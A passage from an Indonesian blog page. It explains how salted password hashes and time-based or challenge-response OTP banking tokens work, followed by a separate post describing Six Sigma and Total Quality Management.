Terbagi dalam ada dua jenis, yaitu:
  • Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
  • Password bebas konteks yang dihasilkan dalam mode self generated.
Proses Otentikasi

Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:
password yang dikirimkan client = password yang disimpan di server
Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.


Penggunaan Salt
Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.

Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:
----------------------------------------------------------------------------------
| Username    |   Salt         |                         Password Hash                 |
----------------------------------------------------------------------------------
| budi             |  81090273 |    894240dbe3d2b546c05a1a8e9e0df1bc|
----------------------------------------------------------------------------------
Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.

Pembangkitan One Time Password (OTP) Token Internet Banking
Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.

OTP dalam Mode Self Generated (Response Only)
Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:

- Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
- Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
- Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.

Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.

Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.

Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.

Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

1. Detik ketika server meminta password (OTP) dari user
2. Detik ketika token membangkitkan OTP
3. Detik ketika server menerima OTP dari user

Perhatikan contoh di bawah ini:

Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.

Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.

Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.


Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).

Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420 hingga EPOCH/10=780.

Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).

Umur OTP
Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response
Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.

Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.


Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.

Monday, April 3, 2017

Apa itu Six Sigma dan Total Quality Management ( TQM )

A. Six Sigma 
Metodologi Six Sigma berawal diperkenal oleh Motorola tahun 1987 oleh seorang Engineer bernama Bill Smith. Bob Galvin sebagai CEO Motorola juga memberikan dukungan penuh terhadap Bill Smith pada saat itu untuk menjadian strategi memperbaiki dan mendapatkan peningkatan proses serta kualitas (Proses Improvement and Quality Control) di perusahaannya.

Six Sigma sendiri dapat diartika suatu alat manajemen baru yang digunakan untuk mengganti Total Quality Management ( TQM ), sangat terfokus terhadap pengendalian kualitas dengan mendalami sistem produksi perusahaan secara keseluruhan. Tujuannya juga bisa untuk menghilangkan cacat produksi, memangkas waktu pembuatan produk, serta menghilangkan biaya. Biasanya Six Sigma disebut sistem komprehensive, artinya adalah strategi, disiplin ilmu, juga alat untuk mencapi dan mendukung kesuksesan bisnis.
Mengapa Six Sigma disebut strategi?
Karena terfokus pada tingkat kepuasan customer. 
Mengapa disebut disiplin ilmu?
Karena juga mengikut sertakan model formal, salah satunya yaitu DMAIC (Define, Measure, Analyze, Improve, Control). 
Mengapa alat?
Karena berguna bersama dengan yang lain menjadi suatu kesatuan seperti Diagram Pareto (Pareto Chart) dan Histogram.
Diagram Pareto 

SIX SIGMA berasal dari kata SIX yang berarti enam (6) dan SIGMA yang merupakan satuan dari Standard Deviasi yang juga dilambangkan dengan simbol σ, Six Sigma juga sering di simbolkan menjadi 6σ. Makin tinggi Sigma-nya, semakin baik pula kualitasnya. Dengan kata lain, semakin tinggi Sigma-nya semakin rendah pula tingkat kecacatan atau kegagalannya. Seperti Tabel konversi Sigma dibawah ini.


Kelebihan Six Sigma
Six Sigma sebagai program kualitas juga sebagai tool untuk pemecahan masalah. Six sigma menekankan aplikasi tool ini secara metodis dan sistematis yang akan dapat menghasilkan terobosan dalam peningkatan kualitas. Metodologi yang sistematis ini bersifat generik sehingga dapat diterapkan baik dalam industri manufaktur maupun jasa.

Keuntungan dari penerapan Six Sigma berbeda untuk tiap perusahaan yang bersangkutan, tergantung pada usaha yang dijalankannya. Biasanya Six Sigma membawa perbaikan pada hal-hal berikut ini yaitu:
  • Perbaikan produktivitas.
  • Pengurangan waktu siklus.
  • Pengurangan cacat.
  • Retensi pelanggan.
  • Pertumbuhan pangsa pasar.
  • Pengurangan biaya.
Kekurangan Six Sigma 
  • Dalam perencanaannya perlu waktu yang cukup.
  • Perlunya ketekunan dalam menjalankan strategi ini karena demi mendapatkan suatu produk yang baik harus dilakukan pemantauan secara teratur.
  • Perlu orang-orang yang memang terlatih dan memiliki pengetahuan tinggi karena tuntutan untuk terus mengurangi produk cacat. 

B. Total Quality Management (TQM)
Sebuah sistem manajemen kualitasnya yang berfokus kepada pelanggan (Customer Focused), yang melibatkan semua level karyawan untuk melakukan peningkatan maupun perbaikan secara berkesinambungan (terus-menerus). Total Quality Management atau TQM menggunakan strategi, data dan komunikasi yang efektif untuk meng-integrasikan kedisplinan kualitas ke dalam budaya dan kegiatan-kegiatan perusahaan. Singkatnya, Total Quality Management (TQM) adalah pendekatan manajemen untuk mencapai keberhasilan jangka panjang melalui Kepuasan Pelanggan (Customer Satisfaction).

Dalam TQM (Total Quality Management), semua anggota  organisasi atau karyawan perusahaan harus berpartisipasi aktif dalam melakukan peningkatan proses, produk, layanan serta budaya dimana mereka bekerja sehingga menghasilkan kualitas terbaik dalam Produk dan Layanan yang pada akhirnya dapat mencapai tujuan kepuasan pelanggan.

Adapun Manajemen yang dilakukan dalam strategi TQM, yaitu diantaranya :Manajemen Kebijakan
Manajemen Harian, Manajemen Cross-functional, Gugus Kendali Mutu, dan Manajemen Keselamatan Kerja.

Tujuan Total Quality Management 
  • Untuk memproduksi baeang dan jasa yang berkualitas tinggi
  • Untuk memenuhi kepuasan bagi semua pihak (tenaga kerja, perusahaan, dan pelanggan)
  • Untuk meningkatkan produktivitas karyawan
  • Untuk meningkatkan keterampilan manajerial dan operasional secara efektif dan efisien
Kelebihan TQM
TQM Mempunya kelebihan diantaranya yaitu : Memenuhi kepuasan pelanggan, pengurangan biaya, meningkatkan produktivitas, meningkatkan pertumbuhan pangsa pasar,efisiensi waktu, meningkatkan keterampilan manajerial dan operasional secara efektif dan efisien, serta untuk pemberdayaan karyawan.

Kekurangan TQM
Disamping mempunyai kelebihan, TQM mempunyai kekurangan yairu diantaranya kurangnya pemantauan atas cacat produksi, kualitas sering di kesampingkan dan menjadi masalah yang sering dihadapi.

 
biz.